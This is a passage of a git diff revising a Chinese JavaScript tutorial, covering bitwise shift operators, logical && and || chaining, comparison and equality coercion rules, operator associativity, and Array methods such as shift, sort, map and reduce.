 `3`的32位整数形式是`00000000000000000000000000000011`，二进制否运算以后得到`11111111111111111111111111111100`。由于第一位（符号位）是1，所以这个数是一个负数。JavaScript 内部采用补码形式表示负数，即需要将这个数减去1，再取一次反，然后加上负号，才能得到这个负数对应的10进制值。这个数减去1等于`11111111111111111111111111111011`，再取一次反得到`00000000000000000000000000000100`，再加上负号就是`-4`。考虑到这样的过程比较麻烦，可以简单记忆成，一个数与自身的取反值相加，等于-1。
 
@@ -175,7 +175,7 @@ b // 10
 
 ## 左移运算符
 
-左移运算符（`<<`）表示将一个数的二进制值向左移动指定的位数，尾部补`0`，即乘以`2`的指定次方（最高位即符号位不参与移动）。
+左移运算符（`<<`）表示将一个数的二进制值向左移动指定的位数，尾部补`0`，即乘以`2`的指定次方。向左移动的时候，最高位的符号位是一起移动的。
 
 ```javascript
 // 4 的二进制形式为100，
@@ -221,7 +221,7 @@ rgb2hex(color.r, color.g, color.b)
 
 ## 右移运算符
 
-右移运算符（`>>`）表示将一个数的二进制值向右移动指定的位数，头部补`0`，即除以`2`的指定次方（最高位即符号位不参与移动）。
+右移运算符（`>>`）表示将一个数的二进制值向右移动指定的位数。如果是正数，头部全部补`0`；如果是负数，头部全部补`1`。右移运算符基本上相当于除以`2`的指定次方（最高位即符号位参与移动）。
 
 ```javascript
 4 >> 1
@@ -261,9 +261,9 @@ rgb2hex(color.r, color.g, color.b)
 // 相当于 21 / 16 = 1
 ```
 
-## 带符号位的右移运算符
+## 头部补零的右移运算符
 
-带符号位的右移运算符（`>>>`）表示将一个数的二进制形式向右移动，包括符号位也参与移动，头部补`0`。所以，该运算总是得到正值。对于正数，该运算的结果与右移运算符（`>>`）完全一致，区别主要在于负数。
+头部补零的右移运算符（`>>>`）与右移运算符（`>>`）只有一个差别，就是一个数的二进制形式向右移动时，头部一律补零，而不考虑符号位。所以，该运算总是得到正值。对于正数，该运算的结果与右移运算符（`>>`）完全一致，区别主要在于负数。
 
 ```javascript
 4 >>> 1
@@ -303,7 +303,7 @@ var FLAG_D = 8; // 1000
 
 上面代码设置 A、B、C、D 四个开关，每个开关分别占有一个二进制位。
 
-然后，就可以用二进制与运算检验，当前设置是否打开了指定开关。
+然后，就可以用二进制与运算，检查当前设置是否打开了指定开关。
 
 ```javascript
 var flags = 5; // 二进制的0101
@@ -331,6 +331,8 @@ var mask = FLAG_A | FLAG_B | FLAG_D;
 flags = flags | mask;
 ```
 
+上面代码中，计算后得到的`flags`变量，代表三个开关的二进制位都打开了。
+
 二进制与运算可以将当前设置中凡是与开关设置不一样的项，全部关闭。
 
 ```javascript
@@ -351,7 +353,6 @@ flags = ~flags;
 
 ## 参考链接
 
-- Michal Budzynski, [JavaScript: The less known parts. Bitwise Operators](http://michalbe.blogspot.co.uk/2013/03/javascript-less-known-parts-bitwise.html)
+- Michal Budzynski, [JavaScript: The less known parts. Bitwise Operators](https://michalbe.blogspot.com/2013/03/javascript-less-known-parts-bitwise.html)
 - Axel Rauschmayer, [Basic JavaScript for the impatient programmer](http://www.2ality.com/2013/06/basic-javascript.html)
 - Mozilla Developer Network, [Bitwise Operators](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators)
-
diff --git a/docs/operators/boolean.md b/docs/operators/boolean.md
index 63155d9..caeed9c 100644
--- a/docs/operators/boolean.md
+++ b/docs/operators/boolean.md
@@ -86,14 +86,17 @@ i && doSomething();
 
 上面代码的两种写法是等价的，但是后一种不容易看出目的，也不容易除错，建议谨慎使用。
 
-且运算符可以多个连用，这时返回第一个布尔值为`false`的表达式的值。
+且运算符可以多个连用，这时返回第一个布尔值为`false`的表达式的值。如果所有表达式的布尔值都为`true`，则返回最后一个表达式的值。
 
 ```javascript
 true && 'foo' && '' && 4 && 'foo' && true
 // ''
+
+1 && 2 && 3
+// 3
 ```
 
-上面代码中，第一个布尔值为`false`的表达式为第三个表达式，所以得到一个空字符串。
+上面代码中，例一里面，第一个布尔值为`false`的表达式为第三个表达式，所以得到一个空字符串。例二里面，所有表达式的布尔值都是`true`，所以返回最后一个表达式的值`3`。
 
 ## 或运算符（||）
 
@@ -114,16 +117,19 @@ true || (x = 2) // true
 x // 1
 ```
 
-上面代码中，且运算符的第一个运算子为`true`，所以直接返回`true`，不再运行第二个运算子。所以，`x`的值没有改变。这种只通过第一个表达式的值，控制是否运行第二个表达式的机制，就称为“短路”（short-cut）。
+上面代码中，或运算符的第一个运算子为`true`，所以直接返回`true`，不再运行第二个运算子。所以，`x`的值没有改变。这种只通过第一个表达式的值，控制是否运行第二个表达式的机制，就称为“短路”（short-cut）。
 
-或运算符可以多个连用，这时返回第一个布尔值为`true`的表达式的值。
+或运算符可以多个连用，这时返回第一个布尔值为`true`的表达式的值。如果所有表达式都为`false`，则返回最后一个表达式的值。
 
 ```javascript
 false || 0 || '' || 4 || 'foo' || true
 // 4
+
+false || 0 || ''
+// ''
 ```
 
-上面代码中第一个布尔值为`true`的表达式是第四个表达式，所以得到数值4。
+上面代码中，例一里面，第一个布尔值为`true`的表达式是第四个表达式，所以得到数值4。例二里面，所有表达式的布尔值都为`false`，所以返回最后一个表达式的值。
 
 或运算符常用于为一个变量设置默认值。
 
@@ -157,4 +163,3 @@ console.log(true ? 'T' : 'F');
 ```
 
 上面代码中，`console.log`方法的参数必须是一个表达式，这时就只能使用三元条件表达式。如果要用`if...else`语句，就必须改变整个代码写法了。
-
diff --git a/docs/operators/comparison.md b/docs/operators/comparison.md
index 17d7ad1..002254a 100644
--- a/docs/operators/comparison.md
+++ b/docs/operators/comparison.md
@@ -52,7 +52,7 @@ JavaScript 引擎内部首先比较首字符的 Unicode 码点。如果相等，
 
 ## 非相等运算符：非字符串的比较
 
-如果两个运算子都不是字符串，分成以下三种情况。
+如果两个运算子之中，至少有一个不是字符串，需要分成以下两种情况。
 
 **（1）原始类型值**
 
@@ -74,7 +74,7 @@ true > false // true
 
 上面代码中，字符串和布尔值都会先转成数值，再进行比较。
 
-任何值（包括`NaN`本身）与`NaN`比较，返回的都是`false`。
+这里需要注意与`NaN`的比较。任何值（包括`NaN`本身）与`NaN`使用非相等运算符进行比较，返回的都是`false`。
 
 ```javascript
 1 > NaN // false
@@ -99,7 +99,7 @@ x > '11' // true
 
 x.valueOf = function () { return '1' };
 x > '11' // false
-// 等同于 [2].valueOf() > '11'
+// 等同于 (function () { return '1' })() > '11'
 // 即 '1' > '11'
 ```
 
@@ -114,8 +114,8 @@ x > '11' // false
 // 等同于 [2].valueOf().toString() > [11].valueOf().toString()
 // 即 '2' > '11'
 
-{ x: 2 } >= { x: 1 } // true
-// 等同于 { x: 2 }.valueOf().toString() >= { x: 1 }.valueOf().toString()
+({ x: 2 }) >= ({ x: 1 }) // true
+// 等同于 ({ x: 2 }).valueOf().toString() >= ({ x: 1 }).valueOf().toString()
 // 即 '[object Object]' >= '[object Object]'
 ```
 
@@ -227,7 +227,7 @@ v1 === v2 // true
 1 === 1.0
 ```
 
-比较不同类型的数据时，相等运算符会先将数据进行类型转换，然后再用严格相等运算符比较。类型转换规则如下。
+比较不同类型的数据时，相等运算符会先将数据进行类型转换，然后再用严格相等运算符比较。下面分成几种情况，讨论不同类型的值互相比较的规则。
 
 **（1）原始类型值**
 
@@ -272,31 +272,61 @@ v1 === v2 // true
 
 对象（这里指广义的对象，包括数组和函数）与原始类型的值比较时，对象转换成原始类型的值，再进行比较。
 
+具体来说，先调用对象的`valueOf()`方法，如果得到原始类型的值，就按照上一小节的规则，互相比较；如果得到的还是对象，则再调用`toString()`方法，得到字符串形式，再进行比较。
+
+下面是数组与原始类型值比较的例子。
+
 ```javascript
+// 数组与数值的比较
 [1] == 1 // true
-// 等同于 Number([1]) == 1
 
+// 数组与字符串的比较
 [1] == '1' // true
-// 等同于 Number([1]) == Number('1')
+[1, 2] == '1,2' // true
 
+// 对象与布尔值的比较
 [1] == true // true
-// 等同于 Number([1]) == Number(true)
+[2] == true // false
+```
+
+上面例子中，JavaScript 引擎会先对数组`[1]`调用数组的`valueOf()`方法，由于返回的还是一个数组，所以会接着调用数组的`toString()`方法，得到字符串形式，再按照上一小节的规则进行比较。
+
+下面是一个更直接的例子。
+
+```javascript
+const obj = {
+  valueOf: function () {
+    console.log('执行 valueOf()');
+    return obj;
+  },
+  toString: function () {
+    console.log('执行 toString()');
+    return 'foo';
+  }
+};
+
+obj == 'foo'
+// 执行 valueOf()
+// 执行 toString()
+// true
 ```
 
-上面代码中，数组`[1]`与数值进行比较，会先转成数值，再进行比较；与字符串进行比较，会先转成数值，再与字符串进行比较，然后字符串也会转成数值；与布尔值进行比较，两个运算子都会先转成数值，然后再进行比较。
+上面例子中，`obj`是一个自定义了`valueOf()`和`toString()`方法的对象。这个对象与字符串`'foo'`进行比较时，会依次调用`valueOf()`和`toString()`方法，最后返回`'foo'`，所以比较结果是`true`。
 
 **（3）undefined 和 null**
 
-`undefined`和`null`与其他类型的值比较时，结果都为`false`，它们互相比较时结果为`true`。
+`undefined`和`null`只有与自身比较，或者互相比较时，才会返回`true`；与其他类型的值比较时，结果都为`false`。
 
 ```javascript
+undefined == undefined // true
+null == null // true
+undefined == null // true
+
 false == null // false
 false == undefined // false
 
 0 == null // false
 0 == undefined // false
-
-undefined == null // true
 ```
 
 **（4）相等运算符的缺点**
@@ -332,4 +362,3 @@ null == undefined   // true
 // 等同于
 !(1 == '1')
 ```
-
diff --git a/docs/operators/priority.md b/docs/operators/priority.md
index e3657d0..d347f87 100644
--- a/docs/operators/priority.md
+++ b/docs/operators/priority.md
@@ -19,7 +19,7 @@ void (x = 5) //undefined
 x // 5
 ```
 
-这个运算符的主要用途是浏览器的书签工具（bookmarklet），以及在超级链接中插入代码防止网页跳转。
+这个运算符的主要用途是浏览器的书签工具（Bookmarklet），以及在超级链接中插入代码防止网页跳转。
 
 请看下面的代码。
 
@@ -135,7 +135,7 @@ var x = 1;
 这也意味着，如果整个表达式都放在圆括号之中，那么不会有任何效果。
 
 ```javascript
-(exprssion)
+(expression)
 // 等同于
 expression
 ```
@@ -162,26 +162,56 @@ f() // 1
 
 ### 左结合与右结合
 
-对于优先级别相同的运算符，大多数情况，计算顺序总是从左到右，这叫做运算符的“左结合”（left-to-right associativity），即从左边开始计算。
+对于优先级别相同的运算符，同时出现的时候，就会有计算顺序的问题。
+
+```javascript
+a OP b OP c
+```
+
+上面代码中，`OP`表示运算符。它可以有两种解释方式。
+
+```javascript
+// 方式一
+(a OP b) OP c
+
+// 方式二
+a OP (b OP c)
+```
+
+上面的两种方式，得到的计算结果往往是不一样的。方式一是将左侧两个运算数结合在一起，采用这种解释方式的运算符，称为“左结合”（left-to-right associativity）运算符；方式二是将右侧两个运算数结合在一起，这样的运算符称为“右结合”运算符（right-to-left associativity）。
+
+JavaScript 语言的大多数运算符是“左结合”，请看下面加法运算符的例子。
 
 ```javascript
 x + y + z
+
+// 引擎解释如下
+(x + y) + z
 ```
 
-上面代码先计算最左边的`x`与`y`的和，然后再计算与`z`的和。
+上面代码中，`x`与`y`结合在一起，它们的预算结果再与`z`进行运算。
 
-但是少数运算符的计算顺序是从右到左，即从右边开始计算，这叫做运算符的“右结合”（right-to-left associativity）。其中，最主要的是赋值运算符（`=`）和三元条件运算符（`?:`）。
+少数运算符是“右结合”，其中最主要的是赋值运算符（`=`）和三元条件运算符（`?:`）。
 
 ```javascript
 w = x = y = z;
 q = a ? b : c ? d : e ? f : g;
 ```
 
-上面代码的运算结果，相当于下面的样子。
+上面代码的解释方式如下。
 
 ```javascript
 w = (x = (y = z));
 q = a ? b : (c ? d : (e ? f : g));
 ```
 
-上面的两行代码，各有三个等号运算符和三个三元运算符，都是先计算最右边的那个运算符。
+上面的两行代码，都是右侧的运算数结合在一起。
+
+另外，指数运算符（`**`）也是右结合。
+
+```javascript
+2 ** 3 ** 2
+// 相当于 2 ** (3 ** 2)
+// 512
+```
+
diff --git a/docs/stdlib/array.md b/docs/stdlib/array.md
index e267830..e7b4359 100644
--- a/docs/stdlib/array.md
+++ b/docs/stdlib/array.md
@@ -10,17 +10,19 @@ arr.length // 2
 arr // [ empty x 2 ]
 ```
 
-上面代码中，`Array`构造函数的参数`2`，表示生成一个两个成员的数组，每个位置都是空值。
+上面代码中，`Array()`构造函数的参数`2`，表示生成一个两个成员的数组，每个位置都是空值。
 
-如果没有使用`new`，运行结果也是一样的。
+如果没有使用`new`关键字，运行结果也是一样的。
 
 ```javascript
-var arr = new Array(2);
-// 等同于
 var arr = Array(2);
+// 等同于
+var arr = new Array(2);
 ```
 
-`Array`构造函数有一个很大的缺陷，就是不同的参数，会导致它的行为不一致。
+考虑到语义性，以及与其他构造函数用法保持一致，建议总是加上`new`。
+
+`Array()`构造函数有一个很大的缺陷，不同的参数个数会导致不一致的行为。
 
 ```javascript
 // 无参数时，返回一个空数组
@@ -44,7 +46,7 @@ new Array(1, 2) // [1, 2]
 new Array('a', 'b', 'c') // ['a', 'b', 'c']
 ```
 
-可以看到，`Array`作为构造函数，行为很不一致。因此，不建议使用它生成新数组，直接使用数组字面量是更好的做法。
+可以看到，`Array()`作为构造函数，行为很不一致。因此，不建议使用它生成新数组，直接使用数组字面量是更好的做法。
 
 ```javascript
 // bad
@@ -54,7 +56,7 @@ var arr = new Array(1, 2);
 var arr = [1, 2];
 ```
 
-注意，如果参数是一个正整数，返回数组的成员都是空位。虽然读取的时候返回`undefined`，但实际上该位置没有任何值。虽然可以取到`length`属性，但是取不到键名。
+注意，如果参数是一个正整数，返回数组的成员都是空位。虽然读取的时候返回`undefined`，但实际上该位置没有任何值。虽然这时可以读取到`length`属性，但是取不到键名。
 
 ```javascript
 var a = new Array(3);
@@ -70,7 +72,7 @@ b[0] // undefined
 0 in b // true
 ```
 
-上面代码中，`a`是一个长度为3的空数组，`b`是一个三个成员都是`undefined`的数组。读取键值的时候，`a`和`b`都返回`undefined`，但是`a`的键位都是空的，`b`的键位是有值的。
+上面代码中，`a`是`Array()`生成的一个长度为3的空数组，`b`是一个三个成员都是`undefined`的数组，这两个数组是不一样的。读取键值的时候，`a`和`b`都返回`undefined`，但是`a`的键名（成员的序号）都是空的，`b`的键名是有值的。
 
 ## 静态方法
 
@@ -152,7 +154,7 @@ arr // [1, 2]
 
 ### shift()，unshift()
 
-`shift`方法用于删除数组的第一个元素，并返回该元素。注意，该方法会改变原数组。
+`shift()`方法用于删除数组的第一个元素，并返回该元素。注意，该方法会改变原数组。
 
 ```javascript
 var a = ['a', 'b', 'c'];
@@ -161,10 +163,12 @@ a.shift() // 'a'
 a // ['b', 'c']
 ```
 
-`shift`方法可以遍历并清空一个数组。
+上面代码中，使用`shift()`方法以后，原数组就变了。
+
+`shift()`方法可以遍历并清空一个数组。
 
 ```javascript
-var list = [1, 2, 3, 4, 5, 6];
+var list = [1, 2, 3, 4];
 var item;
 
 while (item = list.shift()) {
@@ -174,9 +178,11 @@ while (item = list.shift()) {
 list // []
 ```
 
-`push`和`shift`结合使用，就构成了“先进先出”的队列结构（queue）。
+上面代码通过`list.shift()`方法每次取出一个元素，从而遍历数组。它的前提是数组元素不能是`0`或任何布尔值等于`false`的元素，因此这样的遍历不是很可靠。
+
+`push()`和`shift()`结合使用，就构成了“先进先出”的队列结构（queue）。
 
-`unshift`方法用于在数组的第一个位置添加元素，并返回添加新元素后的数组长度。注意，该方法会改变原数组。
+`unshift()`方法用于在数组的第一个位置添加元素，并返回添加新元素后的数组长度。注意，该方法会改变原数组。
 
 ```javascript
 var a = ['a', 'b', 'c'];
@@ -185,7 +191,7 @@ a.unshift('x'); // 4
 a // ['x', 'a', 'b', 'c']
 ```
 
-`unshift`方法可以接受多个参数，这些参数都会添加到目标数组头部。
+`unshift()`方法可以接受多个参数，这些参数都会添加到目标数组头部。
 
 ```javascript
 var arr = [ 'c', 'd' ];
@@ -195,7 +201,7 @@ arr // [ 'a', 'b', 'c', 'd' ]
 
 ### join()
 
-`join`方法以指定参数作为分隔符，将所有数组成员连接为一个字符串返回。如果不提供参数，默认用逗号分隔。
+`join()`方法以指定参数作为分隔符，将所有数组成员连接为一个字符串返回。如果不提供参数，默认用逗号分隔。
 
 ```javascript
 var a = [1, 2, 3, 4];
@@ -278,13 +284,13 @@ a // ["c", "b", "a"]
 
 ### slice()
 
-`slice`方法用于提取目标数组的一部分，返回一个新数组，原数组不变。
+`slice()`方法用于提取目标数组的一部分，返回一个新数组，原数组不变。
 
 ```javascript
 arr.slice(start, end);
 ```
 
-它的第一个参数为起始位置（从0开始），第二个参数为终止位置（但该位置的元素本身不包括在内）。如果省略第二个参数，则一直返回到原数组的最后一个成员。
+它的第一个参数为起始位置（从0开始，会包括在返回的新数组之中），第二个参数为终止位置（但该位置的元素本身不包括在内）。如果省略第二个参数，则一直返回到原数组的最后一个成员。
 
 ```javascript
 var a = ['a', 'b', 'c'];
@@ -296,9 +302,9 @@ a.slice(2, 6) // ["c"]
 a.slice() // ["a", "b", "c"]
 ```
 
-上面代码中，最后一个例子`slice`没有参数，实际上等于返回一个原数组的拷贝。
+上面代码中，最后一个例子`slice()`没有参数，实际上等于返回一个原数组的拷贝。
 
-如果`slice`方法的参数是负数，则表示倒数计算的位置。
+如果`slice()`方法的参数是负数，则表示倒数计算的位置。
 
 ```javascript
 var a = ['a', 'b', 'c'];
@@ -316,7 +322,7 @@ a.slice(4) // []
 a.slice(2, 1) // []
 ```
 
-`slice`方法的一个重要应用，是将类似数组的对象转为真正的数组。
+`slice()`方法的一个重要应用，是将类似数组的对象转为真正的数组。
 
 ```javascript
 Array.prototype.slice.call({ 0: 'a', 1: 'b', length: 2 })
@@ -326,11 +332,11 @@ Array.prototype.slice.call(document.querySelectorAll("div"));
 Array.prototype.slice.call(arguments);
 ```
 
-上面代码的参数都不是数组，但是通过`call`方法，在它们上面调用`slice`方法，就可以把它们转为真正的数组。
+上面代码的参数都不是数组，但是通过`call`方法，在它们上面调用`slice()`方法，就可以把它们转为真正的数组。
 
 ### splice()
 
-`splice`方法用于删除原数组的一部分成员，并可以在删除的位置添加新的数组成员，返回值是被删除的元素。注意，该方法会改变原数组。
+`splice()`方法用于删除原数组的一部分成员，并可以在删除的位置添加新的数组成员，返回值是被删除的元素。注意，该方法会改变原数组。
 
 ```javascript
 arr.splice(start, count, addElement1, addElement2, ...);
@@ -398,7 +404,7 @@ a // [1, 2]
 // [10111, 1101, 111]
 ```
 
-上面代码的最后两个例子，需要特殊注意。`sort`方法不是按照大小排序，而是按照字典顺序。也就是说，数值会被先转成字符串，再按照字典顺序进行比较，所以`101`排在`11`的前面。
+上面代码的最后两个例子，需要特殊注意。`sort()`方法不是按照大小排序，而是按照字典顺序。也就是说，数值会被先转成字符串，再按照字典顺序进行比较，所以`101`排在`11`的前面。
 
 如果想让`sort`方法按照自定义方式排序，可以传入一个函数作为参数。
 
@@ -426,9 +432,21 @@ a // [1, 2]
 // ]
 ```
 
+注意，自定义的排序函数应该返回数值，否则不同的浏览器可能有不同的实现，不能保证结果都一致。
+
+```javascript
+// bad
+[1, 4, 2, 6, 0, 6, 2, 6].sort((a, b) => a > b)
+
+// good
+[1, 4, 2, 6, 0, 6, 2, 6].sort((a, b) => a - b)
+```
+
+上面代码中，前一种排序算法返回的是布尔值，这是不推荐使用的。后一种是数值，才是更好的写法。
+
 ### map()
 
-`map`方法将数组的所有成员依次传入参数函数，然后把每一次的执行结果组成一个新数组返回。
+`map()`方法将数组的所有成员依次传入参数函数，然后把每一次的执行结果组成一个新数组返回。
 
 ```javascript
 var numbers = [1, 2, 3];
@@ -444,7 +462,7 @@ numbers
 
 上面代码中，`numbers`数组的所有成员依次执行参数函数，运行结果组成一个新数组返回，原数组没有变化。
 
-`map`方法接受一个函数作为参数。该函数调用时，`map`方法向它传入三个参数：当前成员、当前位置和数组本身。
+`map()`方法接受一个函数作为参数。该函数调用时，`map()`方法向它传入三个参数：当前成员、当前位置和数组本身。
 
 ```javascript
 [1, 2, 3].map(function(elem, index, arr) {
@@ -453,9 +471,9 @@ numbers
 // [0, 2, 6]
 ```
 
-上面代码中，`map`方法的回调函数有三个参数，`elem`为当前成员的值，`index`为当前成员的位置，`arr`为原数组（`[1, 2, 3]`）。
+上面代码中，`map()`方法的回调函数有三个参数，`elem`为当前成员的值，`index`为当前成员的位置，`arr`为原数组（`[1, 2, 3]`）。
 
-`map`方法还可以接受第二个参数，用来绑定回调函数内部的`this`变量（详见《this 变量》一章）。
+`map()`方法还可以接受第二个参数，用来绑定回调函数内部的`this`变量（详见《this 变量》一章）。
 
 ```javascript
 var arr = ['a', 'b', 'c'];
@@ -466,9 +484,9 @@ var arr = ['a', 'b', 'c'];
 // ['b', 'c']
 ```
 
-上面代码通过`map`方法的第二个参数，将回调函数内部的`this`对象，指向`arr`数组。
+上面代码通过`map()`方法的第二个参数，将回调函数内部的`this`对象，指向`arr`数组。
 
-如果数组有空位，`map`方法的回调函数在这个位置不会执行，会跳过数组的空位。
+如果数组有空位，`map()`方法的回调函数在这个位置不会执行，会跳过数组的空位。
 
 ```javascript
 var f = function (n) { return 'a' };
@@ -478,13 +496,13 @@ var f = function (n) { return 'a' };
 [1, , 2].map(f) // ["a", , "a"]
 ```
 
-上面代码中，`map`方法不会跳过`undefined`和`null`，但是会跳过空位。
+上面代码中，`map()`方法不会跳过`undefined`和`null`，但是会跳过空位。
 
 ### forEach()
 
-`forEach`方法与`map`方法很相似，也是对数组的所有成员依次执行参数函数。但是，`forEach`方法不返回值，只用来操作数据。这就是说，如果数组遍历的目的是为了得到返回值，那么使用`map`方法，否则使用`forEach`方法。
+`forEach()`方法与`map()`方法很相似，也是对数组的所有成员依次执行参数函数。但是，`forEach()`方法不返回值，只用来操作数据。这就是说，如果数组遍历的目的是为了得到返回值，那么使用`map()`方法，否则使用`forEach()`方法。
 
-`forEach`的用法与`map`方法一致，参数是一个函数，该函数同样接受三个参数：当前值、当前位置、整个数组。
+`forEach()`的用法与`map()`方法一致，参数是一个函数，该函数同样接受三个参数：当前值、当前位置、整个数组。
 
 ```javascript
 function log(element, index, array) {
@@ -497,9 +515,9 @@ function log(element, index, array) {
 // [2] = 9
 ```
 
-上面代码中，`forEach`遍历数组不是为了得到返回值，而是为了在屏幕输出内容，所以不必使用`map`方法。
+上面代码中，`forEach()`遍历数组不是为了得到返回值，而是为了在屏幕输出内容，所以不必使用`map()`方法。
 
-`forEach`方法也可以接受第二个参数，绑定参数函数的`this`变量。
+`forEach()`方法也可以接受第二个参数，绑定参数函数的`this`变量。
 
 ```javascript
 var out = [];
@@ -511,9 +529,9 @@ var out = [];
 out // [1, 4, 9]
 ```
 
-上面代码中，空数组`out`是`forEach`方法的第二个参数，结果，回调函数内部的`this`关键字就指向`out`。
+上面代码中，空数组`out`是`forEach()`方法的第二个参数，结果，回调函数内部的`this`关键字就指向`out`。
 
-注意，`forEach`方法无法中断执行，总是会将所有成员遍历完。如果希望符合某种条件时，就中断遍历，要使用`for`循环。
+注意，`forEach()`方法无法中断执行，总是会将所有成员遍历完。如果希望符合某种条件时，就中断遍历，要使用`for`循环。
 
 ```javascript
 var arr = [1, 2, 3];
@@ -525,9 +543,9 @@ for (var i = 0; i < arr.length; i++) {
 // 1
 ```
 
-上面代码中，执行到数组的第二个成员时，就会中断执行。`forEach`方法做不到这一点。
+上面代码中，执行到数组的第二个成员时，就会中断执行。`forEach()`方法做不到这一点。
 
-`forEach`方法也会跳过数组的空位。
+`forEach()`方法也会跳过数组的空位。
 
 ```javascript
 var log = function (n) {
@@ -549,11 +567,11 @@ var log = function (n) {
 // 3
 ```
 
-上面代码中，`forEach`方法不会跳过`undefined`和`null`，但会跳过空位。
+上面代码中，`forEach()`方法不会跳过`undefined`和`null`，但会跳过空位。
 
 ### filter()
 
-`filter`方法用于过滤数组成员，满足条件的成员组成一个新数组返回。
+`filter()`方法用于过滤数组成员，满足条件的成员组成一个新数组返回。
 
 它的参数是一个函数，所有数组成员依次执行该函数，返回结果为`true`的成员组成一个新数组返回。该方法不会改变原数组。
 
@@ -573,9 +591,9 @@ arr.filter(Boolean)
 // [1, "a"]
 ```
 
-上面代码中，`filter`方法返回数组`arr`里面所有布尔值为`true`的成员。
+上面代码中，`filter()`方法返回数组`arr`里面所有布尔值为`true`的成员。
 
-`filter`方法的参数函数可以接受三个参数：当前成员，当前位置和整个数组。
+`filter()`方法的参数函数可以接受三个参数：当前成员，当前位置和整个数组。
 
 ```javascript
 [1, 2, 3, 4, 5].filter(function (elem, index, arr) {
@@ -586,7 +604,7 @@ arr.filter(Boolean)
 
 上面代码返回偶数位置的成员组成的新数组。
 
-`filter`方法还可以接受第二个参数，用来绑定参数函数内部的`this`变量。
+`filter()`方法还可以接受第二个参数，用来绑定参数函数内部的`this`变量。
 
 ```javascript
 var obj = { MAX: 3 };
@@ -598,7 +616,7 @@ var arr = [2, 8, 3, 4, 1, 3, 2, 9];
 arr.filter(myFilter, obj) // [8, 4, 9]
 ```
 
-上面代码中，过滤器`myFilter`内部有`this`变量，它可以被`filter`方法的第二个参数`obj`绑定，返回大于`3`的成员。
+上面代码中，过滤器`myFilter()`内部有`this`变量，它可以被`filter()`方法的第二个参数`obj`绑定，返回大于`3`的成员。
 
 ### some()，every()
 
@@ -643,7 +661,7 @@ function isEven(x) { return x % 2 === 0 }
 
 ### reduce()，reduceRight()
 
-`reduce`方法和`reduceRight`方法依次处理数组的每个成员，最终累计为一个值。它们的差别是，`reduce`是从左到右处理（从第一个成员到最后一个成员），`reduceRight`则是从右到左（从最后一个成员到第一个成员），其他完全一样。
+`reduce()`方法和`reduceRight()`方法依次处理数组的每个成员，最终累计为一个值。它们的差别是，`reduce()`是从左到右处理（从第一个成员到最后一个成员），`reduceRight()`则是从右到左（从最后一个成员到第一个成员），其他完全一样。
 
 ```javascript
 [1, 2, 3, 4, 5].reduce(function (a, b) {
@@ -657,18 +675,33 @@ function isEven(x) { return x % 2 === 0 }
 //最后结果：15
 ```
 
-上面代码中，`reduce`方法求出数组所有成员的和。第一次执行，`a`是数组的第一个成员`1`，`b`是数组的第二个成员`2`。第二次执行，`a`为上一轮的返回值`3`，`b`为第三个成员`3`。第三次执行，`a`为上一轮的返回值`6`，`b`为第四个成员`4`。第四次执行，`a`为上一轮返回值`10`，`b`为第五个成员`5`。至此所有成员遍历完成，整个方法的返回值就是最后一轮的返回值`15`。
+上面代码中，`reduce()`方法用来求出数组所有成员的和。`reduce()`的参数是一个函数，数组每个成员都会依次执行这个函数。如果数组有 n 个成员，这个参数函数就会执行 n - 1 次。
 
-`reduce`方法和`reduceRight`方法的第一个参数都是一个函数。该函数接受以下四个参数。
+- 第一次执行：`a`是数组的第一个成员`1`，`b`是数组的第二个成员`2`。
+- 第二次执行：`a`为上一轮的返回值`3`，`b`为第三个成员`3`。
+- 第三次执行：`a`为上一轮的返回值`6`，`b`为第四个成员`4`。
+- 第四次执行：`a`为上一轮返回值`10`，`b`为第五个成员`5`。至此所有成员遍历完成，整个方法的返回值就是最后一轮的返回值`15`。
 
-1. 累积变量，默认为数组的第一个成员
-2. 当前变量，默认为数组的第二个成员
-3. 当前位置（从0开始）
-4. 原数组
+`reduce()`方法和`reduceRight()`方法的第一个参数都是一个函数。该函数接受以下四个参数。
+
+1. 累积变量。第一次执行时，默认为数组的第一个成员；以后每次执行时，都是上一轮的返回值。
+2. 当前变量。第一次执行时，默认为数组的第二个成员；以后每次执行时，都是下一个成员。
+3. 当前位置。一个整数，表示第二个参数（当前变量）的位置，默认为`1`。
+4. 原数组。
 
 这四个参数之中，只有前两个是必须的，后两个则是可选的。
 
-如果要对累积变量指定初值，可以把它放在`reduce`方法和`reduceRight`方法的第二个参数。
+```javascript
+[1, 2, 3, 4, 5].reduce(function (
+  a,   // 累积变量，必须
+  b,   // 当前变量，必须
+  i,   // 当前位置，可选
+  arr  // 原数组，可选
+) {
+  // ... ...
+```
+
+如果要对累积变量指定初值，可以把它放在`reduce()`方法和`reduceRight()`方法的第二个参数。
 
 ```javascript
 [1, 2, 3, 4, 5].reduce(function (a, b) {
@@ -677,9 +710,9 @@ function isEven(x) { return x % 2 === 0 }
 // 25
 ```
 
-上面代码指定参数`a`的初值为10，所以数组从10开始累加，最终结果为25。注意，这时`b`是从数组的第一个成员开始遍历。
+上面代码指定参数`a`的初值为10，所以数组从10开始累加，最终结果为25。注意，这时`b`是从数组的第一个成员开始遍历，参数函数会执行5次。
 
-上面的第二个参数相当于设定了默认值，处理空数组时尤其有用。
+建议总是加上第二个参数，这样比较符合直觉，每个数组成员都会依次执行`reduce()`方法的参数函数。另外，第二个参数可以防止空数组报错。
 
 ```javascript
 function add(prev, cur) {
@@ -692,22 +725,22 @@ function add(prev, cur) {
 // 1
 ```
 
-上面代码中，由于空数组取不到初始值，`reduce`方法会报错。这时，加上第二个参数，就能保证总是会返回一个值。
+上面代码中，由于空数组取不到累积变量的初始值，`reduce()`方法会报错。这时，加上第二个参数，就能保证总是会返回一个值。
 
-下面是一个`reduceRight`方法的例子。
+下面是一个`reduceRight()`方法的例子。
 
 ```javascript
-function substract(prev, cur) {
+function subtract(prev, cur) {
   return prev - cur;
 }
 
-[3, 2, 1].reduce(substract) // 0
-[3, 2, 1].reduceRight(substract) // -4
+[3, 2, 1].reduce(subtract) // 0
+[3, 2, 1].reduceRight(subtract) // -4
 ```
 
-上面代码中，`reduce`方法相当于`3`减去`2`再减去`1`，`reduceRight`方法相当于`1`减去`2`再减去`3`。
+上面代码中，`reduce()`方法相当于`3`减去`2`再减去`1`，`reduceRight`方法相当于`1`减去`2`再减去`3`。
 
-由于这两个方法会遍历数组，所以实际上还可以用来做一些遍历相关的操作。比如，找出字符长度最长的数组成员。
+由于这两个方法会遍历数组，所以实际上可以用来做一些遍历相关的操作。比如，找出字符长度最长的数组成员。
 
 ```javascript
